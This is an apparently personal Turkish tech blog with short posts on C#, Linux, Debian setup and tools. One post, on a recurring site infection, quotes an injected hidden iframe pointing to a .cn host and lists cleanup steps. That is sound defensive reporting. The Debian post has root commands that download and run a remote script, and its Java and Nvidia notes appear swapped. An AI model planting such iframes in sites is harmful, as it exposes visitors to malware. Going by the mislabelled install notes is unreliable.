C# ile hataları Windows Event Log 'a eklemek.





Uygulamanızda hata oluştuğunda Windows Event Viewer 'dan görmek için hataları windows event log 'una eklemeniz gerekir. Bunu için System.Diagnostics isim alanını ekledikten sonra EventLog sınıfını kullanarak yapabilirsiniz. Örneğin :

try
{
throw new Exception("Bir hata oluştu");
}
catch (Exception ex)
{
EventLog eventlog = new EventLog();
eventlog.Source = "Uygulama adı";
eventlog.WriteEntry(ex.Message, EventLogEntryType.Error);
}


Linux 'ta konsoldan tarih - saat değiştirme

Choromium 'dan gmaile girerken site sertifikalarının geçersiz olduğuyla ilgili hata veriyordu. Google 'ın sertifikaları geçersiz olmayacağına göre bende bir sorun olduğu belliydi, küçük bir arama yapınca fark ettim ki bilgisayarımın tarihi ve saati yanlış olduğu için böyle bir sorun çıkıyor. Yaklaşık 7 yıl kadar gere kalmış ;)

Linux konsoldan root olduktan sonra aşağıdaki komut ile tarihi ve saati ayarlayabilirsiniz :

# date -s "2 OCT 2006 18:00:00"

Kaynak : cyberciti

.cn iframe attack

2 haftadır .cn iframe ataklarıyla uğraşıyorum. Web alanına upload ettiğim index dosyaları içerisinde aşağıdaki iframe satırına benzer bir satır ortaya çıkıyor ve google siteyi şüpheli olarak işaretleyip sayfaya kırmızı bir uyarı sayfasına dönüştürüyor.(firefox ya da chrome ile girerseniz tabii)

<iframe src="http:// namegamestore .cn:8080/index.php" width=118 height=195 style="visibility: hidden"></iframe>

buradaki .cn domaini bazen .ru uzantılı bir domain oluyor, her seferinde bu satırları sildiğim temiz dosyaları sunucuya yüklesem de kısa bir süre sonra bı iframe 'ler kendiliğinden ortaya çıkıyor. Google 'da biraz arayınca bu dertten rahatsız oldukça fazla kişi olduğunu farkettim. Bu virüs, malware herneyse oldukça yaygın bir sorunmuş.

Şimdilik yapılacaklar şöyle sıralanıyor :

1- Bilgisayarınızı antivirüs, malware temizleyici programlarla temizleyin.

2- Kullandığınız FTP client'ındaki saklı paroalrı silin. Tüm FTP parolalarını değiştirin.

3- Mümkünse FTp yerine SFtp kullanın.

4- Web sayfalarınızdaki iframeleri temizleyin, daha kolayı temiz olan dosyaları üzerine yükleyin.

5- Siteniz google ' tarafondan şüpheli olarak işaretlenmişse webmastertool kullanarak başvuru yapın.

6- Düzenli olarak http://www.unmaskparasites.com/ sitesinden sitede bir malware varlığı olup olmadığını kontrol edin.




asp.NET 'te FileUploadControl ile yüklenen dosyanın boyutlarını bulma

System.IO.Stream s = FileUploadControl.FileContent;
System.Drawing.Image i = System.Drawing.Image.FromStream(s);

int FileWidth = Convert.ToInt32(i.PhysicalDimension.Width);
int FileHeight = Convert.ToInt32(i.PhysicalDimension.Height);


BitDefender

Sabahtan beri visual studio kendini 2 defa kapattı, hemde yazdığım kodları kayıt etmeme izin vermeden. Az önce farkettim ki nedeni yeni yüklediğim BitDefender antivirüs 'ün deneme sürümüymüş. Logları incelediğimde "The behavioral scanner detected a possible malicious application" yazıyor. Avira 'nın bulamadığı virüsleri bularak beni etkilemişti ama şimdi kaldırıp yerine yeni duyurulan Microsoft 'un antivirüs yazılımını yükleyeceğim.

Picasa




Picasa 3.5 yüz tanıma fonksiyonuyla birlikte çıkmış. Fotoğraflarınızda bir resminizi etiketliyorsunuz , diğer tüm fotoğraflarınızda sizin yüzünüzü bularak kendisi etiketliyor, denemek için sabırsızlanıyorum.

Ayrıntılı bilgi için buradan resmi google blogunu okuyabilirsiniz.

BlueFish




Linux üzerinde web geliştirme programları oldukça fazla. PHP ,Html, CSS vs. işlerim olduğu zaman genellikle Eclipse kullanıyordum. Bilgisayarımı yeni kurduğumdan henüz eclipse kurmadığım için farklı programlar denemek istedim. Bluefish linux üzerinde oldukça popüler editörlerden biri ve yıllardır bildiğim halde hiç kullanmamıştım. Oldukça hafif bir editör, ftp, sftp kullanarak uzaktaki dosyalarınızı editleyebiliyorsunuz, 10 'un üzerinde programlama dilinde kod renklendirme yapabiliyor, gerçekten güçlü bul-değiştir modülü var, ve liste uzayıp gidiyor. Tam listesi için bu linke bakabilirsiniz. Bu editöre bir şans vermeye karar verdim, eninde sonunda bir nedenden dolayı arkasında kurumsal desteği olan (bakınız elipse, netbeans) bir editöre döneceğimi biliyorum ama bakalım ne zaman. Bu arada Bluefish cygwin kullanarak ya da MinGW ile derlenmiş şekilde windows altında kullanılabiliyor. (Tabii performansı nasıl olur bilinmez).

Ekran görüntüsü almak için kurduğum program da Shutter. Çok özellikli bir ekran görüntüsü yakalama programıymış vs. İhtiyaç duyarsanız buradan indirebilirsiniz.Ubuntu-pics.de, imageshacks.us vb. sitelere direk upload yapabiliyormuş.

Debian

Uzun zamandır kullanmadığım eski bilgisayarıma Debian kurdum. Üzerinde yüklü olan Slackware 12 ile yaklaşık 6 aydır kullanılmadan duruyordu. Linux kullanmayı çok sevsemde geçimimi C# ile windows üzerinde web tabanlı yazılımlar geliştirerek sağlıyorum. İşten eve geldiğimde de çalışmam bitmiyor, kendimi geliştirmek zorundayım bu sebeple laptopta yüklü olan Windows Vista üzerinde çalışıyorum.

Cuma günü sf.net 'te açık kaynak bir iki programı indirip denerken aklıma "Revolution OS" geldi. Bir arkadaşımın tavsiyesi ile izlediğim bu belgesel 'i her izlediğimde kendimi yanlış tarafta yazılım geliştiriyor gibi hissederim. Asıl kullanmak istediğim programlama dili bu değil, üzerinde geliştirmek istediğim işletim sistemi bu değildir. Cuma günü belgeseli yeniden izledim ve kullanmadan kenarda beklettiğim bilgisayarıma Debian yükleyip bu yazıyı yazıyorum işte.

Debian üzerinde kurduğum ilk program Chromium oldu. Eskiden beri tam bir firefox fanatiği olsam da chrome çıktığından beri onu açasım gelmiyor. O kadar fanatiktim ki chrome çıktığında 2 ay denemedim bile. Ama şimdi favori tarayıcım chromium ;)

İkinci kurduğum program LXDE pencere yönetici oldu, çünkü bilgisayarımın konfigürasyonu çok iyi değil. Ve her masaüstü ortamının (KDE, Gnome) yeni sürümü çıktığında benim bilgisayarımın her işlemde donma süresi o oranda artıyor. LXDE 'yi Knoppix 'i kullandığımda keşfetmiş ve bir kenara not etmiştim. Şimdi fark ediyorum ki fazlasıyla yeterli bir pencere yöneticisi.

Daha sonra kurduğum Keepass parola yönetici oldu. Şimdiye kadar kullanmadığım bu program artık fazlasıyla ihtiyaç halini almıştı. Eğer sizde benim gibi her şey için ayrı parola kullanıyorsanız bir yerden sonra parolaları hatırlamak oldukça zor olmaya, her seferinde yeni parola oluşturmak ta sıkıcı olmaya başlıyor. Bu arada program cross platform yani windows 'ta kullanacağım.

Bir iki not :

Java yüklemek için debian 'da yapılaması gerekenler :

su
cd /usr/local/bin;wget -Nc techpatterns.com/sgfxi;chmod +x sgfxi;sgfxi -h
/etc/init.d/gdm stop
sgfxi -c


Nvidia sürücüleri yüklemek için ise sun-java6-jre paketini kurup update-alternatives --config java komutu ile istenilen jvm 'yi ön tanımlı yapmak gerekiyor.

ms-dos da copy komutu ile dosya birleştirme

Çok kullanıyorum durmadan arıyorum :

copy/b sub*.txt sub.txt veya copy/b 1.txt + 2.txt toplam.txt

Kaynak : http://bayraktar.blogspirit.com/

Visual Studio Ipucu



Visual Studio 'da Ctrl + Tab tuşlarıyla açık olan dosyalar arasında seçim yapabilirsiniz. Windows 'daki Alt + Tab kombinasyonu gibi.


Kaynak : Pirabir's Blog